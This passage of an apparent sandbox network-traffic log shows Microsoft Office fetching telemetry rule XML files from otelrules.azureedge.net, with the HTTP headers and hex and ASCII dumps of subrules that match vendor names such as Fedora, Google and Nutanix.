22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.9	49759	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:59 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:59 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114559Z-16849878b785dznd7xpawq9gcn000000037g00000000fuf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:59 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.9	49758	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:59 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:59 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114559Z-16849878b786jv8w2kpaf5zkqs00000000x00000000044k6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:59 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.9	49760	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:59 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:59 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114559Z-16849878b78tg5n42kspfr0x48000000023000000000100w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:00 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.9	49761	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:00 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114600Z-16849878b786jv8w2kpaf5zkqs00000000w0000000005xs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.9	49762	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:00 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114600Z-16849878b78p49s6zkwt11bbkn00000001gg00000000enka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.9	49763	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:00 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114600Z-16849878b78q9m8bqvwuva4svc00000000f0000000001vvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.9	49764	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:00 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 06ffa35a-101e-0079-2528-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114600Z-16849878b78bjkl8dpep89pbgg00000000r0000000004rg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:46:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.9	49766	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:00 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114600Z-16849878b787wpl5wqkt5731b400000002u000000000285a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.9	49767	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:01 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 26e7cda7-e01e-001f-32f8-251633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114601Z-15b8d89586fwzdd8urmg0p1ebs0000000ce000000000121q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.9	49768	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:01 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d13b9d4f-c01e-0014-770d-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114601Z-17c5cb586f62blg5ss55p9d6fn00000002eg0000000070af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.9	49769	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:01 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 8d3096ad-201e-005d-6f5b-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114601Z-17c5cb586f6f8m6jnehy0z65x400000001b00000000009f2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.9	49771	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:01 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114601Z-16849878b786jv8w2kpaf5zkqs00000000x00000000044p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
